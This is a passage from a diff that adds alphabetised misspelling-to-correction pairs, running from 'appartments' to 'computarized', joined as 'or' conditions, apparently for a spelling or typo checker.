+  wrong = "appartments" and right = "apartments"
+  or
+  wrong = "appealling" and right = "appalling"
+  or
+  wrong = "appealling" and right = "appealing"
+  or
+  wrong = "appeareance" and right = "appearance"
+  or
+  wrong = "appearence" and right = "appearance"
+  or
+  wrong = "appearences" and right = "appearances"
+  or
+  wrong = "appenines" and right = "apennines"
+  or
+  wrong = "apperance" and right = "appearance"
+  or
+  wrong = "apperances" and right = "appearances"
+  or
+  wrong = "appereance" and right = "appearance"
+  or
+  wrong = "appereances" and right = "appearances"
+  or
+  wrong = "applicaiton" and right = "application"
+  or
+  wrong = "applicaitons" and right = "applications"
+  or
+  wrong = "appologies" and right = "apologies"
+  or
+  wrong = "appology" and right = "apology"
+  or
+  wrong = "apprearance" and right = "appearance"
+  or
+  wrong = "apprieciate" and right = "appreciate"
+  or
+  wrong = "approachs" and right = "approaches"
+  or
+  wrong = "appropiate" and right = "appropriate"
+  or
+  wrong = "appropraite" and right = "appropriate"
+  or
+  wrong = "appropropiate" and right = "appropriate"
+  or
+  wrong = "approproximate" and right = "approximate"
+  or
+  wrong = "approxamately" and right = "approximately"
+  or
+  wrong = "approxiately" and right = "approximately"
+  or
+  wrong = "approximitely" and right = "approximately"
+  or
+  wrong = "aprehensive" and right = "apprehensive"
+  or
+  wrong = "apropriate" and right = "appropriate"
+  or
+  wrong = "aproval" and right = "approval"
+  or
+  wrong = "aproximate" and right = "approximate"
+  or
+  wrong = "aproximately" and right = "approximately"
+  or
+  wrong = "aquaduct" and right = "aqueduct"
+  or
+  wrong = "aquaintance" and right = "acquaintance"
+  or
+  wrong = "aquainted" and right = "acquainted"
+  or
+  wrong = "aquiantance" and right = "acquaintance"
+  or
+  wrong = "aquire" and right = "acquire"
+  or
+  wrong = "aquired" and right = "acquired"
+  or
+  wrong = "aquiring" and right = "acquiring"
+  or
+  wrong = "aquisition" and right = "acquisition"
+  or
+  wrong = "aquitted" and right = "acquitted"
+  or
+  wrong = "aranged" and right = "arranged"
+  or
+  wrong = "arangement" and right = "arrangement"
+  or
+  wrong = "arbitarily" and right = "arbitrarily"
+  or
+  wrong = "arbitary" and right = "arbitrary"
+  or
+  wrong = "archaelogical" and right = "archaeological"
+  or
+  wrong = "archaelogists" and right = "archaeologists"
+  or
+  wrong = "archaelogy" and right = "archaeology"
+  or
+  wrong = "archaoelogy" and right = "archaeology"
+  or
+  wrong = "archaoelogy" and right = "archeology"
+  or
+  wrong = "archaology" and right = "archaeology"
+  or
+  wrong = "archaology" and right = "archeology"
+  or
+  wrong = "archeaologist" and right = "archaeologist"
+  or
+  wrong = "archeaologist" and right = "archeologist"
+  or
+  wrong = "archeaologists" and right = "archaeologists"
+  or
+  wrong = "archeaologists" and right = "archeologists"
+  or
+  wrong = "archetect" and right = "architect"
+  or
+  wrong = "archetects" and right = "architects"
+  or
+  wrong = "archetectural" and right = "architectural"
+  or
+  wrong = "archetecturally" and right = "architecturally"
+  or
+  wrong = "archetecture" and right = "architecture"
+  or
+  wrong = "archiac" and right = "archaic"
+  or
+  wrong = "archictect" and right = "architect"
+  or
+  wrong = "archimedian" and right = "archimedean"
+  or
+  wrong = "architecht" and right = "architect"
+  or
+  wrong = "architechturally" and right = "architecturally"
+  or
+  wrong = "architechture" and right = "architecture"
+  or
+  wrong = "architechtures" and right = "architectures"
+  or
+  wrong = "architectual" and right = "architectural"
+  or
+  wrong = "archtype" and right = "archetype"
+  or
+  wrong = "archtypes" and right = "archetypes"
+  or
+  wrong = "aready" and right = "already"
+  or
+  wrong = "areodynamics" and right = "aerodynamics"
+  or
+  wrong = "argubly" and right = "arguably"
+  or
+  wrong = "arguement" and right = "argument"
+  or
+  wrong = "arguements" and right = "arguments"
+  or
+  wrong = "arised" and right = "arose"
+  or
+  wrong = "arival" and right = "arrival"
+  or
+  wrong = "armamant" and right = "armament"
+  or
+  wrong = "armistace" and right = "armistice"
+  or
+  wrong = "arogant" and right = "arrogant"
+  or
+  wrong = "arogent" and right = "arrogant"
+  or
+  wrong = "aroud" and right = "around"
+  or
+  wrong = "arrangment" and right = "arrangement"
+  or
+  wrong = "arrangments" and right = "arrangements"
+  or
+  wrong = "arrengement" and right = "arrangement"
+  or
+  wrong = "arrengements" and right = "arrangements"
+  or
+  wrong = "arround" and right = "around"
+  or
+  wrong = "artcile" and right = "article"
+  or
+  wrong = "artical" and right = "article"
+  or
+  wrong = "artice" and right = "article"
+  or
+  wrong = "articel" and right = "article"
+  or
+  wrong = "artifical" and right = "artificial"
+  or
+  wrong = "artifically" and right = "artificially"
+  or
+  wrong = "artillary" and right = "artillery"
+  or
+  wrong = "arund" and right = "around"
+  or
+  wrong = "asetic" and right = "ascetic"
+  or
+  wrong = "asign" and right = "assign"
+  or
+  wrong = "aslo" and right = "also"
+  or
+  wrong = "asnyc" and right = "async"
+  or
+  wrong = "asociated" and right = "associated"
+  or
+  wrong = "asorbed" and right = "absorbed"
+  or
+  wrong = "asphyxation" and right = "asphyxiation"
+  or
+  wrong = "assasin" and right = "assassin"
+  or
+  wrong = "assasinate" and right = "assassinate"
+  or
+  wrong = "assasinated" and right = "assassinated"
+  or
+  wrong = "assasinates" and right = "assassinates"
+  or
+  wrong = "assasination" and right = "assassination"
+  or
+  wrong = "assasinations" and right = "assassinations"
+  or
+  wrong = "assasined" and right = "assassinated"
+  or
+  wrong = "assasins" and right = "assassins"
+  or
+  wrong = "assassintation" and right = "assassination"
+  or
+  wrong = "assemple" and right = "assemble"
+  or
+  wrong = "assertation" and right = "assertion"
+  or
+  wrong = "asside" and right = "aside"
+  or
+  wrong = "assisnate" and right = "assassinate"
+  or
+  wrong = "assit" and right = "assist"
+  or
+  wrong = "assitant" and right = "assistant"
+  or
+  wrong = "assocation" and right = "association"
+  or
+  wrong = "assoicate" and right = "associate"
+  or
+  wrong = "assoicated" and right = "associated"
+  or
+  wrong = "assoicates" and right = "associates"
+  or
+  wrong = "assosication" and right = "assassination"
+  or
+  wrong = "asssassans" and right = "assassins"
+  or
+  wrong = "assualt" and right = "assault"
+  or
+  wrong = "assualted" and right = "assaulted"
+  or
+  wrong = "assymetric" and right = "asymmetric"
+  or
+  wrong = "assymetrical" and right = "asymmetrical"
+  or
+  wrong = "asteriod" and right = "asteroid"
+  or
+  wrong = "asthetic" and right = "aesthetic"
+  or
+  wrong = "asthetical" and right = "aesthetical"
+  or
+  wrong = "asthetically" and right = "aesthetically"
+  or
+  wrong = "asume" and right = "assume"
+  or
+  wrong = "atain" and right = "attain"
+  or
+  wrong = "atempting" and right = "attempting"
+  or
+  wrong = "atheistical" and right = "atheistic"
+  or
+  wrong = "athenean" and right = "athenian"
+  or
+  wrong = "atheneans" and right = "athenians"
+  or
+  wrong = "athiesm" and right = "atheism"
+  or
+  wrong = "athiest" and right = "atheist"
+  or
+  wrong = "atorney" and right = "attorney"
+  or
+  wrong = "atribute" and right = "attribute"
+  or
+  wrong = "atributed" and right = "attributed"
+  or
+  wrong = "atributes" and right = "attributes"
+  or
+  wrong = "attaindre" and right = "attainder"
+  or
+  wrong = "attaindre" and right = "attained"
+  or
+  wrong = "attemp" and right = "attempt"
+  or
+  wrong = "attemped" and right = "attempted"
+  or
+  wrong = "attemt" and right = "attempt"
+  or
+  wrong = "attemted" and right = "attempted"
+  or
+  wrong = "attemting" and right = "attempting"
+  or
+  wrong = "attemts" and right = "attempts"
+  or
+  wrong = "attendence" and right = "attendance"
+  or
+  wrong = "attendent" and right = "attendant"
+  or
+  wrong = "attendents" and right = "attendants"
+  or
+  wrong = "attened" and right = "attended"
+  or
+  wrong = "attension" and right = "attention"
+  or
+  wrong = "attitide" and right = "attitude"
+  or
+  wrong = "attributred" and right = "attributed"
+  or
+  wrong = "attrocities" and right = "atrocities"
+  or
+  wrong = "audeince" and right = "audience"
+  or
+  wrong = "auromated" and right = "automated"
+  or
+  wrong = "austrailia" and right = "australia"
+  or
+  wrong = "austrailian" and right = "australian"
+  or
+  wrong = "auther" and right = "author"
+  or
+  wrong = "authobiographic" and right = "autobiographic"
+  or
+  wrong = "authobiography" and right = "autobiography"
+  or
+  wrong = "authorative" and right = "authoritative"
+  or
+  wrong = "authorites" and right = "authorities"
+  or
+  wrong = "authorithy" and right = "authority"
+  or
+  wrong = "authoritiers" and right = "authorities"
+  or
+  wrong = "authoritive" and right = "authoritative"
+  or
+  wrong = "authrorities" and right = "authorities"
+  or
+  wrong = "autochtonous" and right = "autochthonous"
+  or
+  wrong = "autoctonous" and right = "autochthonous"
+  or
+  wrong = "automaticly" and right = "automatically"
+  or
+  wrong = "automibile" and right = "automobile"
+  or
+  wrong = "automonomous" and right = "autonomous"
+  or
+  wrong = "autor" and right = "author"
+  or
+  wrong = "autority" and right = "authority"
+  or
+  wrong = "auxilary" and right = "auxiliary"
+  or
+  wrong = "auxillaries" and right = "auxiliaries"
+  or
+  wrong = "auxillary" and right = "auxiliary"
+  or
+  wrong = "auxilliaries" and right = "auxiliaries"
+  or
+  wrong = "auxilliary" and right = "auxiliary"
+  or
+  wrong = "availabe" and right = "available"
+  or
+  wrong = "availablity" and right = "availability"
+  or
+  wrong = "availaible" and right = "available"
+  or
+  wrong = "availble" and right = "available"
+  or
+  wrong = "availiable" and right = "available"
+  or
+  wrong = "availible" and right = "available"
+  or
+  wrong = "avalable" and right = "available"
+  or
+  wrong = "avalance" and right = "avalanche"
+  or
+  wrong = "avaliable" and right = "available"
+  or
+  wrong = "avation" and right = "aviation"
+  or
+  wrong = "averageed" and right = "averaged"
+  or
+  wrong = "avilable" and right = "available"
+  or
+  wrong = "awared" and right = "awarded"
+  or
+  wrong = "awya" and right = "away"
+  or
+  wrong = "baceause" and right = "because"
+  or
+  wrong = "backgorund" and right = "background"
+  or
+  wrong = "backrounds" and right = "backgrounds"
+  or
+  wrong = "bakc" and right = "back"
+  or
+  wrong = "banannas" and right = "bananas"
+  or
+  wrong = "bandwith" and right = "bandwidth"
+  or
+  wrong = "bankrupcy" and right = "bankruptcy"
+  or
+  wrong = "banruptcy" and right = "bankruptcy"
+  or
+  wrong = "baout" and right = "about"
+  or
+  wrong = "baout" and right = "bout"
+  or
+  wrong = "basicaly" and right = "basically"
+  or
+  wrong = "basicly" and right = "basically"
+  or
+  wrong = "bcak" and right = "back"
+  or
+  wrong = "beachead" and right = "beachhead"
+  or
+  wrong = "beacuse" and right = "because"
+  or
+  wrong = "beastiality" and right = "bestiality"
+  or
+  wrong = "beatiful" and right = "beautiful"
+  or
+  wrong = "beaurocracy" and right = "bureaucracy"
+  or
+  wrong = "beaurocratic" and right = "bureaucratic"
+  or
+  wrong = "beautyfull" and right = "beautiful"
+  or
+  wrong = "becamae" and right = "became"
+  or
+  wrong = "becames" and right = "became"
+  or
+  wrong = "becames" and right = "becomes"
+  or
+  wrong = "becasue" and right = "because"
+  or
+  wrong = "beccause" and right = "because"
+  or
+  wrong = "becomeing" and right = "becoming"
+  or
+  wrong = "becomming" and right = "becoming"
+  or
+  wrong = "becouse" and right = "because"
+  or
+  wrong = "becuase" and right = "because"
+  or
+  wrong = "bedore" and right = "before"
+  or
+  wrong = "beeing" and right = "being"
+  or
+  wrong = "befoer" and right = "before"
+  or
+  wrong = "beggin" and right = "begging"
+  or
+  wrong = "beggin" and right = "begin"
+  or
+  wrong = "begginer" and right = "beginner"
+  or
+  wrong = "begginers" and right = "beginners"
+  or
+  wrong = "beggining" and right = "beginning"
+  or
+  wrong = "begginings" and right = "beginnings"
+  or
+  wrong = "beggins" and right = "begins"
+  or
+  wrong = "begining" and right = "beginning"
+  or
+  wrong = "beginnig" and right = "beginning"
+  or
+  wrong = "behavour" and right = "behavior"
+  or
+  wrong = "behavour" and right = "behaviour"
+  or
+  wrong = "beleagured" and right = "beleaguered"
+  or
+  wrong = "beleif" and right = "belief"
+  or
+  wrong = "beleive" and right = "believe"
+  or
+  wrong = "beleived" and right = "believed"
+  or
+  wrong = "beleives" and right = "believes"
+  or
+  wrong = "beleiving" and right = "believing"
+  or
+  wrong = "beligum" and right = "belgium"
+  or
+  wrong = "belive" and right = "believe"
+  or
+  wrong = "belived" and right = "believed"
+  or
+  wrong = "belived" and right = "beloved"
+  or
+  wrong = "belives" and right = "beliefs"
+  or
+  wrong = "belives" and right = "believes"
+  or
+  wrong = "belligerant" and right = "belligerent"
+  or
+  wrong = "bellweather" and right = "bellwether"
+  or
+  wrong = "bemusemnt" and right = "bemusement"
+  or
+  wrong = "beneficary" and right = "beneficiary"
+  or
+  wrong = "beng" and right = "being"
+  or
+  wrong = "benificial" and right = "beneficial"
+  or
+  wrong = "benifit" and right = "benefit"
+  or
+  wrong = "benifits" and right = "benefits"
+  or
+  wrong = "bergamont" and right = "bergamot"
+  or
+  wrong = "bernouilli" and right = "bernoulli"
+  or
+  wrong = "beseige" and right = "besiege"
+  or
+  wrong = "beseiged" and right = "besieged"
+  or
+  wrong = "beseiging" and right = "besieging"
+  or
+  wrong = "beteen" and right = "between"
+  or
+  wrong = "betwen" and right = "between"
+  or
+  wrong = "beween" and right = "between"
+  or
+  wrong = "bewteen" and right = "between"
+  or
+  wrong = "bigining" and right = "beginning"
+  or
+  wrong = "biginning" and right = "beginning"
+  or
+  wrong = "bilateraly" and right = "bilaterally"
+  or
+  wrong = "billingualism" and right = "bilingualism"
+  or
+  wrong = "binominal" and right = "binomial"
+  or
+  wrong = "bizzare" and right = "bizarre"
+  or
+  wrong = "blaim" and right = "blame"
+  or
+  wrong = "blaimed" and right = "blamed"
+  or
+  wrong = "blessure" and right = "blessing"
+  or
+  wrong = "blitzkreig" and right = "blitzkrieg"
+  or
+  wrong = "boaut" and right = "about"
+  or
+  wrong = "boaut" and right = "boat"
+  or
+  wrong = "boaut" and right = "bout"
+  or
+  wrong = "bodydbuilder" and right = "bodybuilder"
+  or
+  wrong = "bolean" and right = "boolean"
+  or
+  wrong = "bombardement" and right = "bombardment"
+  or
+  wrong = "bombarment" and right = "bombardment"
+  or
+  wrong = "bondary" and right = "boundary"
+  or
+  wrong = "bonnano" and right = "bonanno"
+  or
+  wrong = "boook" and right = "book"
+  or
+  wrong = "borke" and right = "broke"
+  or
+  wrong = "boundry" and right = "boundary"
+  or
+  wrong = "bouyancy" and right = "buoyancy"
+  or
+  wrong = "bouyant" and right = "buoyant"
+  or
+  wrong = "boyant" and right = "buoyant"
+  or
+  wrong = "bradcast" and right = "broadcast"
+  or
+  wrong = "brasillian" and right = "brazilian"
+  or
+  wrong = "breakthough" and right = "breakthrough"
+  or
+  wrong = "breakthroughts" and right = "breakthroughs"
+  or
+  wrong = "breif" and right = "brief"
+  or
+  wrong = "breifly" and right = "briefly"
+  or
+  wrong = "brethen" and right = "brethren"
+  or
+  wrong = "bretheren" and right = "brethren"
+  or
+  wrong = "briliant" and right = "brilliant"
+  or
+  wrong = "brillant" and right = "brilliant"
+  or
+  wrong = "brimestone" and right = "brimstone"
+  or
+  wrong = "britian" and right = "britain"
+  or
+  wrong = "brittish" and right = "british"
+  or
+  wrong = "broacasted" and right = "broadcast"
+  or
+  wrong = "broadacasting" and right = "broadcasting"
+  or
+  wrong = "broady" and right = "broadly"
+  or
+  wrong = "buddah" and right = "buddha"
+  or
+  wrong = "buddist" and right = "buddhist"
+  or
+  wrong = "buisness" and right = "business"
+  or
+  wrong = "buisnessman" and right = "businessman"
+  or
+  wrong = "buoancy" and right = "buoyancy"
+  or
+  wrong = "buring" and right = "burin"
+  or
+  wrong = "buring" and right = "burning"
+  or
+  wrong = "buring" and right = "burying"
+  or
+  wrong = "buring" and right = "during"
+  or
+  wrong = "burried" and right = "buried"
+  or
+  wrong = "busines" and right = "business"
+  or
+  wrong = "busineses" and right = "business"
+  or
+  wrong = "busineses" and right = "businesses"
+  or
+  wrong = "busness" and right = "business"
+  or
+  wrong = "bussiness" and right = "business"
+  or
+  wrong = "caculater" and right = "calculator"
+  or
+  wrong = "cacuses" and right = "caucuses"
+  or
+  wrong = "cahracters" and right = "characters"
+  or
+  wrong = "calaber" and right = "caliber"
+  or
+  wrong = "calander" and right = "calendar"
+  or
+  wrong = "calander" and right = "calender"
+  or
+  wrong = "calander" and right = "colander"
+  or
+  wrong = "calculater" and right = "calculator"
+  or
+  wrong = "calculs" and right = "calculus"
+  or
+  wrong = "calender" and right = "calendar"
+  or
+  wrong = "calenders" and right = "calendars"
+  or
+  wrong = "caligraphy" and right = "calligraphy"
+  or
+  wrong = "caluclate" and right = "calculate"
+  or
+  wrong = "caluclated" and right = "calculated"
+  or
+  wrong = "caluculate" and right = "calculate"
+  or
+  wrong = "caluculated" and right = "calculated"
+  or
+  wrong = "calulate" and right = "calculate"
+  or
+  wrong = "calulated" and right = "calculated"
+  or
+  wrong = "calulater" and right = "calculator"
+  or
+  wrong = "cambrige" and right = "cambridge"
+  or
+  wrong = "camoflage" and right = "camouflage"
+  or
+  wrong = "campagin" and right = "campaign"
+  or
+  wrong = "campain" and right = "campaign"
+  or
+  wrong = "campains" and right = "campaigns"
+  or
+  wrong = "candadate" and right = "candidate"
+  or
+  wrong = "candiate" and right = "candidate"
+  or
+  wrong = "candidiate" and right = "candidate"
+  or
+  wrong = "cannister" and right = "canister"
+  or
+  wrong = "cannisters" and right = "canisters"
+  or
+  wrong = "cannnot" and right = "cannot"
+  or
+  wrong = "cannonical" and right = "canonical"
+  or
+  wrong = "cannotation" and right = "connotation"
+  or
+  wrong = "cannotations" and right = "connotations"
+  or
+  wrong = "caost" and right = "coast"
+  or
+  wrong = "caperbility" and right = "capability"
+  or
+  wrong = "capible" and right = "capable"
+  or
+  wrong = "captial" and right = "capital"
+  or
+  wrong = "captued" and right = "captured"
+  or
+  wrong = "capturd" and right = "captured"
+  or
+  wrong = "carachter" and right = "character"
+  or
+  wrong = "caracterized" and right = "characterized"
+  or
+  wrong = "carcas" and right = "caracas"
+  or
+  wrong = "carcas" and right = "carcass"
+  or
+  wrong = "carefull" and right = "careful"
+  or
+  wrong = "careing" and right = "caring"
+  or
+  wrong = "carismatic" and right = "charismatic"
+  or
+  wrong = "carmalite" and right = "carmelite"
+  or
+  wrong = "carnagie" and right = "carnegie"
+  or
+  wrong = "carnege" and right = "carnage"
+  or
+  wrong = "carnege" and right = "carnegie"
+  or
+  wrong = "carnige" and right = "carnage"
+  or
+  wrong = "carnige" and right = "carnegie"
+  or
+  wrong = "carnigie" and right = "carnegie"
+  or
+  wrong = "carreer" and right = "career"
+  or
+  wrong = "carrers" and right = "careers"
+  or
+  wrong = "carribbean" and right = "caribbean"
+  or
+  wrong = "carribean" and right = "caribbean"
+  or
+  wrong = "carryng" and right = "carrying"
+  or
+  wrong = "cartdridge" and right = "cartridge"
+  or
+  wrong = "carthagian" and right = "carthaginian"
+  or
+  wrong = "carthographer" and right = "cartographer"
+  or
+  wrong = "cartilege" and right = "cartilage"
+  or
+  wrong = "cartilidge" and right = "cartilage"
+  or
+  wrong = "cartrige" and right = "cartridge"
+  or
+  wrong = "casette" and right = "cassette"
+  or
+  wrong = "casion" and right = "caisson"
+  or
+  wrong = "cassawory" and right = "cassowary"
+  or
+  wrong = "cassowarry" and right = "cassowary"
+  or
+  wrong = "casue" and right = "cause"
+  or
+  wrong = "casued" and right = "caused"
+  or
+  wrong = "casues" and right = "causes"
+  or
+  wrong = "casuing" and right = "causing"
+  or
+  wrong = "casulaties" and right = "casualties"
+  or
+  wrong = "casulaty" and right = "casualty"
+  or
+  wrong = "catagories" and right = "categories"
+  or
+  wrong = "catagorized" and right = "categorized"
+  or
+  wrong = "catagory" and right = "category"
+  or
+  wrong = "cataline" and right = "catalina"
+  or
+  wrong = "cataline" and right = "catiline"
+  or
+  wrong = "catapillar" and right = "caterpillar"
+  or
+  wrong = "catapillars" and right = "caterpillars"
+  or
+  wrong = "catapiller" and right = "caterpillar"
+  or
+  wrong = "catapillers" and right = "caterpillars"
+  or
+  wrong = "catepillar" and right = "caterpillar"
+  or
+  wrong = "catepillars" and right = "caterpillars"
+  or
+  wrong = "catergorize" and right = "categorize"
+  or
+  wrong = "catergorized" and right = "categorized"
+  or
+  wrong = "caterpilar" and right = "caterpillar"
+  or
+  wrong = "caterpilars" and right = "caterpillars"
+  or
+  wrong = "caterpiller" and right = "caterpillar"
+  or
+  wrong = "caterpillers" and right = "caterpillars"
+  or
+  wrong = "cathlic" and right = "catholic"
+  or
+  wrong = "catholocism" and right = "catholicism"
+  or
+  wrong = "catterpilar" and right = "caterpillar"
+  or
+  wrong = "catterpilars" and right = "caterpillars"
+  or
+  wrong = "catterpillar" and right = "caterpillar"
+  or
+  wrong = "catterpillars" and right = "caterpillars"
+  or
+  wrong = "cattleship" and right = "battleship"
+  or
+  wrong = "causalities" and right = "casualties"
+  or
+  wrong = "ceasar" and right = "caesar"
+  or
+  wrong = "celcius" and right = "celsius"
+  or
+  wrong = "cellpading" and right = "cellpadding"
+  or
+  wrong = "cementary" and right = "cemetery"
+  or
+  wrong = "cemetarey" and right = "cemetery"
+  or
+  wrong = "cemetaries" and right = "cemeteries"
+  or
+  wrong = "cemetary" and right = "cemetery"
+  or
+  wrong = "cencus" and right = "census"
+  or
+  wrong = "censur" and right = "censor"
+  or
+  wrong = "censur" and right = "censure"
+  or
+  wrong = "cententenial" and right = "centennial"
+  or
+  wrong = "centruies" and right = "centuries"
+  or
+  wrong = "centruy" and right = "century"
+  or
+  wrong = "centuties" and right = "centuries"
+  or
+  wrong = "centuty" and right = "century"
+  or
+  wrong = "ceratin" and right = "certain"
+  or
+  wrong = "ceratin" and right = "keratin"
+  or
+  wrong = "cerimonial" and right = "ceremonial"
+  or
+  wrong = "cerimonies" and right = "ceremonies"
+  or
+  wrong = "cerimonious" and right = "ceremonious"
+  or
+  wrong = "cerimony" and right = "ceremony"
+  or
+  wrong = "ceromony" and right = "ceremony"
+  or
+  wrong = "certainity" and right = "certainty"
+  or
+  wrong = "certian" and right = "certain"
+  or
+  wrong = "cervial" and right = "cervical"
+  or
+  wrong = "cervial" and right = "serval"
+  or
+  wrong = "cervial" and right = "servile"
+  or
+  wrong = "chalenging" and right = "challenging"
+  or
+  wrong = "challange" and right = "challenge"
+  or
+  wrong = "challanged" and right = "challenged"
+  or
+  wrong = "challege" and right = "challenge"
+  or
+  wrong = "champange" and right = "champagne"
+  or
+  wrong = "changable" and right = "changeable"
+  or
+  wrong = "charachter" and right = "character"
+  or
+  wrong = "charachters" and right = "characters"
+  or
+  wrong = "charactersistic" and right = "characteristic"
+  or
+  wrong = "charactor" and right = "character"
+  or
+  wrong = "charactors" and right = "characters"
+  or
+  wrong = "charasmatic" and right = "charismatic"
+  or
+  wrong = "charaterized" and right = "characterized"
+  or
+  wrong = "chariman" and right = "chairman"
+  or
+  wrong = "charistics" and right = "characteristics"
+  or
+  wrong = "chasr" and right = "chase"
+  or
+  wrong = "chasr" and right = "chaser"
+  or
+  wrong = "cheif" and right = "chief"
+  or
+  wrong = "cheifs" and right = "chiefs"
+  or
+  wrong = "chemcial" and right = "chemical"
+  or
+  wrong = "chemcially" and right = "chemically"
+  or
+  wrong = "chemestry" and right = "chemistry"
+  or
+  wrong = "chemicaly" and right = "chemically"
+  or
+  wrong = "childbird" and right = "childbirth"
+  or
+  wrong = "childen" and right = "children"
+  or
+  wrong = "choclate" and right = "chocolate"
+  or
+  wrong = "choosen" and right = "chosen"
+  or
+  wrong = "chracter" and right = "character"
+  or
+  wrong = "chuch" and right = "church"
+  or
+  wrong = "churchs" and right = "churches"
+  or
+  wrong = "cincinatti" and right = "cincinnati"
+  or
+  wrong = "cincinnatti" and right = "cincinnati"
+  or
+  wrong = "circulaton" and right = "circulation"
+  or
+  wrong = "circumsicion" and right = "circumcision"
+  or
+  wrong = "circut" and right = "circuit"
+  or
+  wrong = "ciricuit" and right = "circuit"
+  or
+  wrong = "ciriculum" and right = "curriculum"
+  or
+  wrong = "civillian" and right = "civilian"
+  or
+  wrong = "claer" and right = "clear"
+  or
+  wrong = "claerer" and right = "clearer"
+  or
+  wrong = "claerly" and right = "clearly"
+  or
+  wrong = "claimes" and right = "claims"
+  or
+  wrong = "clas" and right = "class"
+  or
+  wrong = "clasic" and right = "classic"
+  or
+  wrong = "clasical" and right = "classical"
+  or
+  wrong = "clasically" and right = "classically"
+  or
+  wrong = "cleareance" and right = "clearance"
+  or
+  wrong = "clera" and right = "clear"
+  or
+  wrong = "clera" and right = "sclera"
+  or
+  wrong = "clincial" and right = "clinical"
+  or
+  wrong = "clinicaly" and right = "clinically"
+  or
+  wrong = "cmo" and right = "com"
+  or
+  wrong = "cmoputer" and right = "computer"
+  or
+  wrong = "coctail" and right = "cocktail"
+  or
+  wrong = "coform" and right = "conform"
+  or
+  wrong = "cognizent" and right = "cognizant"
+  or
+  wrong = "coincedentally" and right = "coincidentally"
+  or
+  wrong = "colaborations" and right = "collaborations"
+  or
+  wrong = "colateral" and right = "collateral"
+  or
+  wrong = "colelctive" and right = "collective"
+  or
+  wrong = "collaberative" and right = "collaborative"
+  or
+  wrong = "collecton" and right = "collection"
+  or
+  wrong = "collegue" and right = "colleague"
+  or
+  wrong = "collegues" and right = "colleagues"
+  or
+  wrong = "collonade" and right = "colonnade"
+  or
+  wrong = "collonies" and right = "colonies"
+  or
+  wrong = "collony" and right = "colony"
+  or
+  wrong = "collosal" and right = "colossal"
+  or
+  wrong = "colonizators" and right = "colonizers"
+  or
+  wrong = "comander" and right = "commandeer"
+  or
+  wrong = "comander" and right = "commander"
+  or
+  wrong = "comando" and right = "commando"
+  or
+  wrong = "comandos" and right = "commandos"
+  or
+  wrong = "comany" and right = "company"
+  or
+  wrong = "comapany" and right = "company"
+  or
+  wrong = "comback" and right = "comeback"
+  or
+  wrong = "combanations" and right = "combinations"
+  or
+  wrong = "combinatins" and right = "combinations"
+  or
+  wrong = "combusion" and right = "combustion"
+  or
+  wrong = "comdemnation" and right = "condemnation"
+  or
+  wrong = "comemmorates" and right = "commemorates"
+  or
+  wrong = "comemoretion" and right = "commemoration"
+  or
+  wrong = "comision" and right = "commission"
+  or
+  wrong = "comisioned" and right = "commissioned"
+  or
+  wrong = "comisioner" and right = "commissioner"
+  or
+  wrong = "comisioning" and right = "commissioning"
+  or
+  wrong = "comisions" and right = "commissions"
+  or
+  wrong = "comission" and right = "commission"
+  or
+  wrong = "comissioned" and right = "commissioned"
+  or
+  wrong = "comissioner" and right = "commissioner"
+  or
+  wrong = "comissioning" and right = "commissioning"
+  or
+  wrong = "comissions" and right = "commissions"
+  or
+  wrong = "comited" and right = "committed"
+  or
+  wrong = "comiting" and right = "committing"
+  or
+  wrong = "comitted" and right = "committed"
+  or
+  wrong = "comittee" and right = "committee"
+  or
+  wrong = "comitting" and right = "committing"
+  or
+  wrong = "commandoes" and right = "commandos"
+  or
+  wrong = "commedic" and right = "comedic"
+  or
+  wrong = "commemerative" and right = "commemorative"
+  or
+  wrong = "commemmorate" and right = "commemorate"
+  or
+  wrong = "commemmorating" and right = "commemorating"
+  or
+  wrong = "commerical" and right = "commercial"
+  or
+  wrong = "commerically" and right = "commercially"
+  or
+  wrong = "commericial" and right = "commercial"
+  or
+  wrong = "commericially" and right = "commercially"
+  or
+  wrong = "commerorative" and right = "commemorative"
+  or
+  wrong = "comming" and right = "coming"
+  or
+  wrong = "comminication" and right = "communication"
+  or
+  wrong = "commision" and right = "commission"
+  or
+  wrong = "commisioned" and right = "commissioned"
+  or
+  wrong = "commisioner" and right = "commissioner"
+  or
+  wrong = "commisioning" and right = "commissioning"
+  or
+  wrong = "commisions" and right = "commissions"
+  or
+  wrong = "commited" and right = "committed"
+  or
+  wrong = "commitee" and right = "committee"
+  or
+  wrong = "commiting" and right = "committing"
+  or
+  wrong = "committe" and right = "committee"
+  or
+  wrong = "committment" and right = "commitment"
+  or
+  wrong = "committments" and right = "commitments"
+  or
+  wrong = "commmemorated" and right = "commemorated"
+  or
+  wrong = "commongly" and right = "commonly"
+  or
+  wrong = "commonweath" and right = "commonwealth"
+  or
+  wrong = "commuications" and right = "communications"
+  or
+  wrong = "commuinications" and right = "communications"
+  or
+  wrong = "communciation" and right = "communication"
+  or
+  wrong = "communiation" and right = "communication"
+  or
+  wrong = "communites" and right = "communities"
+  or
+  wrong = "compability" and right = "compatibility"
+  or
+  wrong = "comparision" and right = "comparison"
+  or
+  wrong = "comparisions" and right = "comparisons"
+  or
+  wrong = "comparitive" and right = "comparative"
+  or
+  wrong = "comparitively" and right = "comparatively"
+  or
+  wrong = "compatabilities" and right = "compatibilities"
+  or
+  wrong = "compatability" and right = "compatibility"
+  or
+  wrong = "compatable" and right = "compatible"
+  or
+  wrong = "compatablities" and right = "compatibilities"
+  or
+  wrong = "compatablity" and right = "compatibility"
+  or
+  wrong = "compatiable" and right = "compatible"
+  or
+  wrong = "compatiblities" and right = "compatibilities"
+  or
+  wrong = "compatiblity" and right = "compatibility"
+  or
+  wrong = "compeitions" and right = "competitions"
+  or
+  wrong = "compensantion" and right = "compensation"
+  or
+  wrong = "competance" and right = "competence"
+  or
+  wrong = "competant" and right = "competent"
+  or
+  wrong = "competative" and right = "competitive"
+  or
+  wrong = "competion" and right = "competition"
+  or
+  wrong = "competion" and right = "completion"
+  or
+  wrong = "competitiion" and right = "competition"
+  or
+  wrong = "competive" and right = "competitive"
+  or
+  wrong = "competiveness" and right = "competitiveness"
+  or
+  wrong = "comphrehensive" and right = "comprehensive"
+  or
+  wrong = "compitent" and right = "competent"
+  or
+  wrong = "completelyl" and right = "completely"
+  or
+  wrong = "completetion" and right = "completion"
+  or
+  wrong = "complier" and right = "compiler"
+  or
+  wrong = "componant" and right = "component"
+  or
+  wrong = "comprable" and right = "comparable"
+  or
+  wrong = "comprimise" and right = "compromise"
+  or
+  wrong = "compulsary" and right = "compulsory"
+  or
+  wrong = "compulsery" and right = "compulsory"
+  or
+  wrong = "computarized" and right = "computerized"
